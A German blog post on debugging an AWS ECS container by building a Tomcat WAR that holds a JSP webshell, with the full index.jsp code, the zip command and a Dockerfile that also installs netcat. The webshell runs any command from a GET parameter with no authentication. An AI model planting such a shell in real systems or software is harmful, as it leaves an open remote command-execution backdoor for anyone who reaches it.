noqqe » blog | sammelsurium | photos | projects | about

AWS ECS Webshell via Tomcat

2022-01-11 @ AWS

In AWS ECS kann man Docker Container hochfahren, ohne dass man sich um das Host OS kümmern muss. Das ist meistens super cool und einfach.

Aber wenn man doch mal in die Verlegenheit kommt, während des Aufsetzens in die Maschine blicken zu wollen (netstat, Logfiles, Connectivity überprüfen…) hat man keine Chance.

Naja, nicht ganz. Wo man arbitrary Code ausführen kann gibt es immer eine Möglichkeit.

Ich hatte das oben beschriebene Bedürfnis, in den Container reinschauen zu wollen. Logs prüfen. Mounts und File Permissions checken. Was also tun?

Webshell! Ich rolle einfach eine zusätzliche kleine Tomcat Anwendung in meinen Container um dann via Browser Befehle im Container ausführen zu können.

Dazu wird eine kleine Datei index.jsp erstellt, welche die Shell zur Verfügung stellen wird.

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

Um aus diesem index.jsp File ein Tomcat WAR zu bauen, ist nichts nötig, außer ein kleiner zip Command.

zip webshell.war index.jsp

Dieses WAR Archiv kann dann (zusammen mit der normalen Applikation) in den Docker Container eingebaut werden.

FROM tomcat:9.0.55-jre11-temurin-focal
ENV TZ="Europe/Berlin"

# Install Debuggin Tools
RUN apt-get update ; apt-get install -y telnet netcat bash

# Deploy Tomcat Applications
COPY webshell.war /usr/local/tomcat/webapps/webshell.war

Ist der Container gebaut und in die private Registry hochgeladen, kann er in die ECS Task Spezifikation (wie üblich) referenziert werden. Wenn der Container hochgefahren ist, sollte das so aussehen.

Man kann in aller Ruhe seinen Debugging Tätigkeiten nachgehen.

Und bitte, baut die Scheisse wieder aus wenn ihr den Internet Access enabled.